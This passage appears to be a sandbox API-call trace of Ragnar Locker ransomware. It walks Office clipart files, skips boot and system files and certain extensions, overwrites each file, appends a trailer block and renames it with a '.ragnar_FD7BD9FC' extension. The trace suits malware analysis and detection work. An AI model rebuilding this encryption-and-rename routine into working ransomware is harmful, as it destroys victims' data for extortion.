hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0079.939] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.939] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01174_.WMF" | out: lpString1="AN01174_.WMF") returned="AN01174_.WMF" [0079.939] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned=".WMF" [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="autorun.inf") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="boot.ini") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="bootfont.bin") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="bootsect.bak") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="bootmgr") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="bootmgr.efi") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="desktop.ini") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="iconcache.db") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="ntldr") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="ntuser.dat") returned -1 [0079.939] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.940] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="ntuser.ini") returned -1 [0079.940] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="thumbs.db") returned -1 [0079.940] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.940] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.940] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.940] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.940] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.940] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.940] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0079.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.940] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27858) returned 1 [0079.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.940] GetProcessHeap () returned 0x580000 [0079.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.940] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.942] VirtualAlloc (lpAddress=0x0, dwSize=0x6cd2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.942] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.942] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.942] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6cd2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6cd2, lpOverlapped=0x0) returned 1 [0079.943] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.943] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6cd2, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.943] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6cd2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6cd2, lpOverlapped=0x0) returned 1 [0079.943] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6cd2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.943] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.944] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.944] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.944] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.944] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.944] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.944] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.944] GetProcessHeap () returned 0x580000 [0079.944] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.944] CloseHandle (hObject=0xf4) returned 1 [0079.944] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" [0079.944] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.ragnar_FD7BD9FC" [0079.944] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.945] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0079.945] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.945] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01184_.WMF" | out: lpString1="AN01184_.WMF") returned="AN01184_.WMF" [0079.945] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned=".WMF" [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="autorun.inf") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="boot.ini") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="bootfont.bin") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="bootsect.bak") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="bootmgr") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="bootmgr.efi") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="desktop.ini") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="iconcache.db") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="ntldr") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="ntuser.dat") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="ntuser.ini") returned -1 [0079.945] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="thumbs.db") returned -1 [0079.945] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.945] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.945] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.945] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.945] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.946] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.946] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0079.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.946] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3746) returned 1 [0079.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.946] GetProcessHeap () returned 0x580000 [0079.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.946] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.948] VirtualAlloc (lpAddress=0x0, dwSize=0xea2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.948] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.948] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.948] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xea2, lpOverlapped=0x0) returned 1 [0079.948] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.948] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xea2, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.948] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xea2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xea2, lpOverlapped=0x0) returned 1 [0079.948] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xea2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.948] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.948] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.948] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.949] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.949] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.949] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.949] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.949] GetProcessHeap () returned 0x580000 [0079.949] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.949] CloseHandle (hObject=0xf4) returned 1 [0079.949] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" [0079.949] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.ragnar_FD7BD9FC" [0079.949] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.950] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0079.950] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.950] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01216_.WMF" | out: lpString1="AN01216_.WMF") returned="AN01216_.WMF" [0079.950] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned=".WMF" [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="autorun.inf") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="boot.ini") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="bootfont.bin") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="bootsect.bak") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="bootmgr") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="bootmgr.efi") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="desktop.ini") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="iconcache.db") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="ntldr") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="ntuser.dat") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="ntuser.ini") returned -1 [0079.950] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="thumbs.db") returned -1 [0079.950] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.950] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.950] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.950] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.950] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.950] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.950] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0079.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.951] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5836) returned 1 [0079.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.951] GetProcessHeap () returned 0x580000 [0079.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.951] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.952] VirtualAlloc (lpAddress=0x0, dwSize=0x16cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.953] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16cc, lpOverlapped=0x0) returned 1 [0079.954] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.954] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.954] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16cc, lpOverlapped=0x0) returned 1 [0079.954] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.954] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.954] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.954] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.954] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.954] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.954] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.954] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.955] GetProcessHeap () returned 0x580000 [0079.955] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.955] CloseHandle (hObject=0xf4) returned 1 [0079.955] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" [0079.955] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.ragnar_FD7BD9FC" [0079.955] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0079.955] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", 